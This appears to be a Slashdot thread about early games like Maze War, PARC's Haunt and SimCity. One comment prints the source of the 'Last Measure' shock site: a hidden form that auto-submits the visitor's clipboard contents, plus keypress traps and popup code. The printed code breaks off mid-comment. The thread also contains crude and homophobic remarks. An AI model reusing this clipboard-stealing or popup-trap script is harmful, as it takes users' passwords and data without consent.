I decided to check it out using Links2 (I am currently installing gentoo...) to see what would happen. No problems here. They could at least add goatse ascii art for such a case!

Looks like Wizardry...must be related

[Anonymous Coward]

Did the same people work on both?

Forgetting something??

[whiteranger99x]

How can anyone forget THIS classic??

I mean, how can one not recognize the power of "YOUR HEAD A SPLODE!"

My head ...

[Anonymous Coward]

asplode

Looks like Apache Strike

[A55M0NKEY]

This game looks like Apache Strike that I played on a Mac 512 KE . I am really supprised that there was a 3D shooter game at all in 1974! That was 2 years before I was even born!. It's especially amazing that there could have been such a game in 1974 when I consider the capabilities of the later model TI-99 4A Now THAT was a REAL computer.

Playing Maze and Haunt at PARC back in the day...

[charndog]

My dad worked at PARC in the 70's and 80's and he would bring my brother and me to his office on the weekends. He would put us in empty offices and we would log onto the mainframe and play Maze all day long. We also played Haunt! which was a text-based adventure game. Does anyone know anything about Haunt!??? I would love to find it and play it again, but I have had no luck searching for it on the web...

Re:The typical--and false--jaded point of view

[Jason1729]

The only ones on your list I've played are The Sims and SimCity. It's funny you mention The Sims, because I'd use that as a perfect example of my point. It looks nice, but the playability is horrible. It takes 30 minutes of gametime to walk across a room. Considering that, there just isn't enough time in a sim day to do everything you have to. Even "cheating" and only going into work every second day so you don't get fired but get more free time doesn't help much. The controls are very cumbersome too, it's hard to get the sim to do what you want it to do, The AI keeps trying to do what it wants, but if you let it go ahead and don't micromanage the character is too stupid to live. Besides all that, it gets very old very fast which is why there's so many expansions just to keep things interesting.

SimCity is old enough to count as an old game, and it has much better playability than SimCity 2000. After the piece of crap that is SC2000 I went back to the original and haven't even tried any of the newer versions.

Re:That is beautiful--SAFED HTML FOR CURIOUS....

[Anonymous Coward]

For those of you too cowardly or too wise to click... that sends you into a bottomless pit of Javascript which will pop up hundreds of windows all over your screen. ... If you are running on Windows, you're really in luck because IE is part of the operating system, so you get to enjoy looking at gay porno.

As a programmer, I was curious and wanted to test if NoAds could 'defeat' this site once I added the popup windows to its block list. After doing that with some difficulty, I went back to the site and found that NoAds did its job and closed all the windows before they reproduced like crazy.

Below are the window titlebar text strings to add to the NoAds blocklist:

Our lawyer has informed us that we need a warning. So, if you are under the age of 18 or find t - Microsoft Internet Explorer

Our lawyer has informed us that we need a warning. So, if you are under the age of 18 or find this offensive, please leave immediately -- Web Page Dialog

There is one space between all the words above in case this post doesn't 'look right' on Slashdot.

Fortunately, thanks to previous system compromise, I configured the browser to reject all incoming ActiveX objexts from untrusted websites *AND* disabled paste operation via script which would have sent whatever I had on the Windows Clipboard to the other side--A greate way to cop someone's cut and pasted password and whatnot.

Below, for the curious, is the 'safed' HTML sent by http://www.aderkach.org/

the google redirect was a 'nice touch' a la http://www.google.com/url?sa=D&q=http://www.exampl e.com/

The formatting is 'messed up' in order to get this past the lame lameness filter =/.

The 'doorway' page

[html][head][title]GNAA Last Measure version 3.4[/title][/head][body]
[form name="clip" method="post" action="index.php" style="display:none"]
[input type="text" name="content"]
[input type="hidden" name="send" value="1"]
[input type="hidden" name="refer" value=""]
[input type="hidden" name="user" value="Rucas"]
[input type="submit"]
[/form]
[script language="javascript"] // without this if statement check, it bombs out with an error
if (typeof clipboardData != 'undefined') {
var content = clipboardData.getData("Text");
document.forms["cl ip"].elements["content"].value = content;
}
document.forms["clip"].submit();
[/s cript]
[/body][/html]

The index page

[html]
[head]
[meta name="generator" content=
"HTML Tidy for Linux/x86 (vers 1st March 2004), see www.w3.org"]
[title]Our lawyer has informed us that we need a warning. So, if
you are under the age of 18 or find this offensive, please leave
immediately[/title]

[script language="JavaScript" type="text/javascript"]
window.name = 'lastmeasure';
function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) alert("Our lawyer has informed us that we need a warning. So, if you are under the age of 18 or find this offensive, please leave immediately"); }
function ctrlkey() { if (event.keyCode == 17) alert("Our lawyer has informed us that we need a warning. So, if you are under the age of 18 or find this offensive, please leave immediately"); }
function delkey() { if (event.keyCode == 46) alert("LAST MEASURE BY PENISBIRD, Rolloffle, and Rucas.\nStarring:\nSpin\nTubgirl\nLemonparty\nBob Goatse\nPenisbird\nPillowfight\nChristmas\nRusty's Wife\nWhat the fuck? That guy's ass is showing in his baby's picture!\n\n\nTotal, complete, all-versions, popup blocker bashing-to-pieces by goat-see\nnhey.swf by rkz\nPROPS TO GNAA. LOL HY --DiKKy (GNAA NORWAY CORRESPONDANT)"); }

var xOff = 5;
var yOff = 5;
var xPos = 400;
var yPos = -100;
var flagRun = 1;
var goat = 0; /*
let's figure out what the fuck kind of browser the poor plebs are using

Ninja Rabbit

[macdaddy]

Personally I enjoyed Ninja Rabbit. Anyone remember that one?

YOU ARE AN IDIOT

[Anonymous Coward]

Re:The typical--and false--jaded point of view

[Jason1729]

Why would I pay to play Sims 2 after getting ripped off on Sims? The Sims looked nice for it's time, it was eye candy. Just because the eye candy is dated now doesn't suddenly decrease the fact that that's what it was. Anyway, I expect my gameplaying time and money to be going into World of Warcraft for the forseeable future :).

Re:Play Maze War online? How about on your Palm?

[Anonymous Coward]

We will be giving away the code (GPL) to an emulator of the original Maze on the digibarn site soon at www.digibarn.com